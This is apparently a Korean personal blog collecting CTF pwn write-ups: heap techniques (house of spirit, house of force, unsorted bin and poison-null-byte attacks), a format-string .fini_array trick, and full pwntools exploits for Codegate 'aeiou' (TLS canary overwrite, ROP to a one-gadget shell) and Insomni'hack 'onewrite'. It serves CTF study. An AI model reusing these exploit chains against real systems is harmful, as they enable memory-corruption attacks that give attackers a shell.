myria's place

overlapping_chunks 와 FSB와 stack에 값 채워넣기가 포함된 문제.

처음에 printf(heap_area)를 하길래, stack에서 fsb를 못할줄 알았다...

그런데 메뉴 선택지에서 128개를 받는것을 보고 스택에 fsb에 필요한 인자를 넣을 수 있다는 것을 늦게 알아서...

fsb를 stack에 이미 존재하는 값만으로만 수행하려는 생고생을 한 문제다...

1. overlapping_chunks 스킬을 이용하여 dest영역을 원하는 값으로 조절가능

2. menu 선택에서 fgets(choice, 128, stdin)으로 128개 입력가능 <<-- 스택에 원하는 값 넣기 가능

3. printf(dest)에서 FSB 가능

그런데 fsb를 할 수 있는 기회가 1번밖에 없다. 그래서 .fini_array를 덮어서 다시 main으로 뛰게 할 수 있다.

4. fsb로 stack_address와 libc_address를 leak

5. .fini_array를 main으로 덮는다.

6. 다시 main으로 돌아와 위의 과정을 수행.

7. fsb로 return address를 oneshot_gadget으로 덮는다.

오레오라는 문제를 풀어보았다.

house of spirit 공부하면서 풀어본 문제.

1. add메뉴를 통해 라이플을 0x40개만큼 만든다.

2. leave메뉴를 통해, 위의 라이플 0x40의 카운트를 fake chunk1로 하여 fake chunk2를 구성해준다.

3. house of spirit를 트리거하여 bss영역에 있는 fake chunk1을 free한다.

4. free된 fake chunk를 할당하여 notice에 적힌 ptr을 sscanf_got로 변경한다.

5. show stat을 통해 ssanf_addr leak 가능

6. leave를 통해 sscanf_got overwrite 가능. system으로 덮어씌우고, /bin/sh를 쳐준다.

이번에는 unsorted bin attack 공격

global_max_fast를 main_arena+88로 덮어서 모든 heap이 fastbin처럼 동작되게 만들었다.

취약점은 merge에서 일어나는데,, 이걸 한참을 못찾았다.

왠지 여기서 일어날것같았는데 ㅁㄴㅇㄹ

merge할때, from id와 to id가 같은 값이 들어와도 이를 검사하지않아, UAF 취약점이 발생한다.

이를 통해서 free된 청크에 값을 쓸 수 있고, 이 free된 청크가 unsorted bin이기 때문에 global_max_fast를 덮을 수 있는 것.

그런데 이렇게해놓고 unsorted bin이 망가져서 다른 청크를 할당할 수 없엇는데...

이전에 마지막으로 할당한 top chunk에 가까운 영역을 merge(same_hunk_id, same_chunk_id)해서 unsortedbin 안거치고 크기를 늘리거나 할당하여 free를 할 수 있었다.

tistory 블로그에 writeup쓰는 것이 너무 귀찮아지고 잇다...

언젠가 github 블로그로 옮겨야지 ㅁㄴㅇㄹ

bcloud를 풀어보았다. 최근 마크다운으로 롸업을 쓰다보니 티스토리를 못써먹겟지만... 깃헙 블로그 만드는게 귀찮으니 그냥 써야겟다....

익스는 아래와 같이 진행하였다.

취약점 : House of force

1. name입력에서 0x40만큼 꽉 채워입력하여 heap_addr를 leak

2. house of force를 이용하여 free_got영역에서부터 다음영역을 할당받을 수 있게 한다.

3. exit_got를 main으로 바꾸고, 나머지 got영역은 원래 함수의 plt+6지점으로 덮는다.

4. setvbuf함수도 puts_plt+6으로 덮는다.

5. 일부러 exit

6. main함수로 돌아와 puts(stdin), puts(stdout), puts(stderr)가 출력되어 leak이 가능하다.

7. leak한 값을 토대로 system함수 주소를 구한다.

8. atoi함수를 system함수로 덮어서 쉘을 획득.

다해놓고보니 그냥 사실 bss영역에 할당되는 heap 노트영역? 노트엿나 뭐였나 어쨋든 그부분을 덮어서 edit해도 되는 것이였다...

나는 edit이 없는줄 알았는데 있더라;;

아무튼 이렇게도 풀수있더라~

codegate의 rtdl 문제

이 포맷을 사용해서 계속해서 풀어나가면 될 것 같다.

3일간에 걸려 푼 문제다.

익스가 매번 성공하는 것은 아니고 가끔 실패하는데 이유는 모르겠다.

poison null byte 공부하는데 도움이 된 것 같기도 하고 아닌 것같기도...

문제 자체가 조금 어렵다.

일단 익스는 아래와 같이 진행하였다.

1단계

1. chunk들을 잘 조절하여 poison_null_byte를 trigger한다.

2. 위 방법을 통해 db청크하나를 오버랩시키고, db청크의 data_size부분을 top chunk의 size로 오버랩시킨다.

3. 위를 통해서 db청크를 GET을 통해 검색하게되면 0x20000정도의 memory를 write로 뿌려주게 된다.

4. heap과 libc를 leak 한다.

2단계.

1. 0x71정도 사이즈의 chunk를 free하고 청크조작을 통해 fd를 realloc_hook-0x13의 주소로 덮는다.

2. realloc_hook을 system함수주소로 덮는다.

3. GET을 통해서 "/bin/sh\x00\x00 ... \x00"을 통해서 realloc을 트리거한다.

4. 쉘을 획득

처음에는 malloc_hook을 oneshot가젯으로 덮어 malloc 호출로 쉘을 따려고 했으나, 모든 원샷가젯이 작동하지않았다.

아마 rsp+a가 NULL이 아니라서 인것같은데... 뭘 어떻게 해줄수가 없어서 대신 realloc_hook을 덮어 realloc 호출 유도로 system함수 실행을 통해 쉘을 획득하는 방식으로 바꾸었다.

중간에 청크 조작때문에 서로가 서로를 덮는 상황이 발생하는데, 이 때 쓰기 불가능한 영역을 덮게 되어 error가 나는 경우가 있으니, leak한 쓰기 가능한 영역을 적절히 잘덮어써주면 error를 회피할 수 있다. 

또 이게 익스가 매번 되는게 아니라, 가끔 실패하는데 이유는 정확히 모르겠다.

Description

nc 110.10.147.109 17777

aeiou

주어진 바이너리를 실행하면 아래와 같은 메뉴를 확인할 수 있다.

Raising a Baby
-------------------------------------
[1] Play with Cards
[2] Clearing the Cards
[3] Teaching numbers
[4] Sleeping the Baby
[5] Dancing with Baby!
[6] Give the child blocks!
[7] Sleep me
--------------------------------------
>>

하지만 어떤 메뉴를 선택하든 프로그램은 그 메뉴를 한번 실행하고 종료되기 때문에, 단 한 번에 공격이 이루어져야 한다. 바이너리를 분석해보면 pthread_create함수로 새로운 스레드를 생성하여 start_routine 함수를 실행하는 부분이 있다. 이 start_rountine(0x4013AA)함수의 C 의사코드는 아래와 같다.

버퍼는 0x1000만큼 할당되어있지만 입력은 0x10000만큼 입력할 수 있다. 이는 BOF가 있음을 알려준다.

[*] '/home/myria/CTF/CODEGATE/aeiou/aeiou'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

하지만 카나리가 있기 때문에 BOF를 통해 바로 return address를 덮어씌울 방법이 없다. 이를 우회하기위해 pthread_create함수가 이용된다. 스레드가 pthread_create함수에 의해 생성될 경우, 스레드의 스택에 Thread Local Storage(TLS)를 사용하여 변수를 저장한다. 즉, 스레드의 스택에 stack_guard(=카나리값)이 존재하기 때문에 이를 덮어씌우면 BOF를 사용하여 RIP를 컨트롤 할 수 있다.

이제 ROP기법을 이용하여 라이브러리 주소를 유출(leak)하고 원샷가젯 (execve("/bin/sh", rsp+0x30, environ))을 실행하면 된다.

Full exploit code

from pwn import *

conn = remote("110.10.147.109", 17777)
#conn = process("./aeiou")


def Teaching(num, data):
	conn.recvuntil(">>")
	conn.sendline("3")
	conn.recvuntil("Let me know the number!\n")
	conn.sendline(str(num))
	conn.send(data)

pop_rdi = 0x4026f3
pop_rsi_r15 = 0x4026f1
bss_addr = 0x604110

# leak atol (libc_address)
payload  = p64(pop_rdi) # pop rdi; ret;
payload += p64(0x603FC0) # atol@GOT
payload += p64(0x400B58) # jmp puts@PLT

# read(0, 0x602030, SIZE) %% rdi=0, rsi=0x602030, rdx = big value
payload += p64(pop_rdi) # pop rdi; ret;
payload += p64(0)		 # stdin
payload += p64(pop_rsi_r15) # pop rsi; pop r15; ret;
payload += p64(bss_addr)
payload += p64(0)		# r15 <= garbage
payload += p64(0x400B88) # jmp read@PLT

# rsp -> bss
payload += p64(0x4026ed) # pop rsp; pop r13; pop r14; pop r15; ret
payload += p64(bss_addr)


Data  = "A"*(0x1010-8)
Data += p64(0xdeadbeefcafebabe) # fake canary
Data += "B"*8 	# sfp
Data += payload # rop chain
Data += "C" * (2000-len(payload)) # rop chain
Data += p64(0xdeadbeefcafebabe) # fake canary

Teaching(0x1010 + 2008 + 8, Data)


# leak
conn.recvuntil("Thank You :)\n")
libc_base = u64(conn.recv(6).ljust(8, "\x00")) - 0x36ea0
log.info("libc_base: " + hex(libc_base))

"""
0x4526a	execve("/bin/sh", rsp+0x30, environ)
constraints:
	[rsp+0x30] == NULL
"""

one_gadget = libc_base + 0x4526a
log.info("oneshot : " + hex(one_gadget))

payload  = p64(0) * 3 # pop r13; pop r14; pop r15; ret
payload += p64(one_gadget)
payload += '\x00' * 0x40  ## [rsp+0x30] == NULL

conn.sendline(payload)
conn.interactive()

필자의 팀은 bash 우회(\b\a\s\h)와 세미콜론 우회(ctrl+v + ctrl+j)를 통해 풀었으나..

타팀의 writeup을 보고 감탄해마지않아 글을 쓴다...

grep을 저렇게 멋지게 활용할 수 있다니 감탄할 따름.

grep -rnw "system" | wc -l         /// system을 포함하는 라이브러리 갯수 출력

grep -rnw "exit" | wc -l               // exit를 포함하는 라이브러리 갯수 출력

grep -rnw "ls \"%s\"" | wc -l        // ls "%s" 를 포함하는 라이브러리 갯수 출력

-r, --recursive : 서브 디렉토리의 파일까지 모두 출력 출처

-n, --line-number : 문자열이 들어있는 라인과 문두에 라인번호를 출력

-w, --word-regexp : pattern 이 전체 단어와 일치하는 줄만 출력, 단어의 일부로써 일치하는 경우가 아닌, 하나의 단어로써 일치하는 줄이 출력.

20000개중 exit인 15000개빼고 또 남은것중에 ls가 포함된 4999인것을 빼면 남는게 1개...

그 1개가 system(&s)인 라이브러리...

grep을 이리 멋지게 활용하다니... 대단;

나중에 써먹어야지 ㅎㅎ

Description

File

onewrite

 is here
difficulty: easy
_ nc onewrite.teaser.insomnihack.ch 1337

간단한 문제입니다.

All you need to pwn nowadays is a leak and a qword write they say...
What do you want to leak ?
1. stack
2. pie
 > 1
0x7fff979bf4a0
address : 140735736968352   
data : 12345678

프로그램을 실행하면 stack 이나 do_leak 함수의 주소(pie)를 선택하여 둘 중 하나를 leak할 수 있습니다. 

그 후,  do_overwrite 함수를 통해 임의의 주소에 8 byte를 쓸 수 있게됩니다. 

[*] '/home/myria/CTF/Insomni_hack/onewrite/onewrite'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

and binary is "statically linked"

그러나 바이너리가 정적링크(statically linked)이기 때문에 stack 과 pie 둘 다 leak할 필요가 있습니다.
공격은 아래와 같이 진행됩니다.

1. Leak PIE address
2. Overwrite pie_addr + 0x2a55a3 with main address
3. Program end. And the exit will be called after main returns.
   (it call __libc_csu_fini function)
4. __libc_csu_fini function call QWORD [pie_addr + 0x2a55a3]. so we again jump to main function.
5. Leak Stack address
6. Write a ropchain in the bss
7. Jump ropchain
8. Get Shell

main함수가 끝나고 exit함수가 호출되는데, 이 exit함수에서 다시 __libc_csu_fini 가 호출됩니다. 여기 <__ libc_csu_fini+40>에 있는 call QWORD PTR [rbp + rbx*8+0x0] 인스트럭션을 통해 다시 main 함수로 점프할 수 있습니다.

6. Write a 'ropchain' in the 'bss' 이 부분이 어렵습니다. 임의의 주소에 8바이트를 쓰고 다시 한번 main함수로 ret 조작없이 돌아올 수 있어야합니다. 

return address를 조작할 때, 함수의 프롤로그와 에필로그를 적절히 생략되게 조작하면 우리는 stack을 조절할 수 있습니다.

main 함수의 반환 주소를 조작하고 do_leak 함수의 반환 주소를 조작합니다. (sub rsp, 0x18, rsp, 0x18 또는 sub rsp, 0x8, add rsp, 0x8)

그러면 스택은 아래와 같이 구성됩니다. 위 두 작업을 통해 return 주소 조작없이 임의의 주소에 8byte를 쓸 수 있는 기회를 한번 얻었습니다.

이제 남은 것은 간단합니다. ropchain을 만들고 pop rsp; ret을 사용하여 ropchain을 실행하면 됩니다.

English writeup

The full exploit code

from pwn import *

#conn = remote("onewrite.teaser.insomnihack.ch", 1337)
conn = process("onewrite")

def leak(select):
   conn.recvuntil(" > ")
   conn.sendline(str(select))
   leak_addr = int(conn.recvline().strip(), 16)
   return leak_addr

def write(addr, data):
   conn.recvuntil("address : ")
   conn.send(str(addr))
   conn.recvuntil("data : ")
   conn.send(data)

## Stage 1
# do_leak func address leak
pie_addr = leak(2)
log.info("pie_address : " + hex(pie_addr))

target = pie_addr + 0x2a55a3 # rbp+rbx*8+0x0   //   call QWORD PTR [rbp+rbx*8+0x0]
main = pie_addr + 0xa3		# main function address
write(target, p64(main))

## Stage 2
# stack_address leak
stack_addr = leak(1)
target = stack_addr  + 0x28	# return address (main function)
log.info("stack_address : " + hex(stack_addr))
write(target, p64(main))


def write_arbitrary(addr, data):
   # stack_address += 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x28
   write(target, p64(main))

   # stack_address -= 8
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   target = stack_addr  + 0x18
   write(target, p64(main))

   # main_ret => main
   # free write! and return Main
   stack_addr = leak(1)
   log.info("stack_address : " + hex(stack_addr))
   log.info("writing")
   write(addr, data)	# free write

# rop_gadget
pie_base = pie_addr - 0x000008A15
pop_rdi = pie_base + 0x000858fb
pop_rsi = pie_base + 0x0008551a
pop_rdx = pie_base + 0x000484c5
pop_rax = pie_base + 0x0004654c
syscall = pie_base + 0x00088834

bss_address = pie_base + 0x2B38D0

log.info("pie_base : " + hex(pie_base))

# write "/bin/sh" to BSS
write_arbitrary(bss_address, "/bin/sh\x00")

idx = 2
def rop(data):
   global idx
   write_arbitrary(bss_address + idx*8, p64(data))
   idx+=1

# write rop_chain to BSS
rop(pop_rdi)
rop(bss_address)
rop(pop_rsi)
rop(0)
rop(pop_rdx)
rop(0)
rop(pop_rax)
rop(59)
rop(syscall)

def trigger_rop():
   stack_addr = leak(1)
   target = stack_addr  + 0x28
   log.info("stack_address : " + hex(stack_addr))
   write(target, p64(main))

   pop_rsp = pie_base + 0x00087c46
   rop_chain = bss_address + 0x10

   # jump ropchain
   write_arbitrary(stack_addr + 0x40, p64(pop_rsp))
   write_arbitrary(stack_addr + 0x48, p64(rop_chain))

trigger_rop()
leak(1)
write(1,"id\n")

conn.interactive()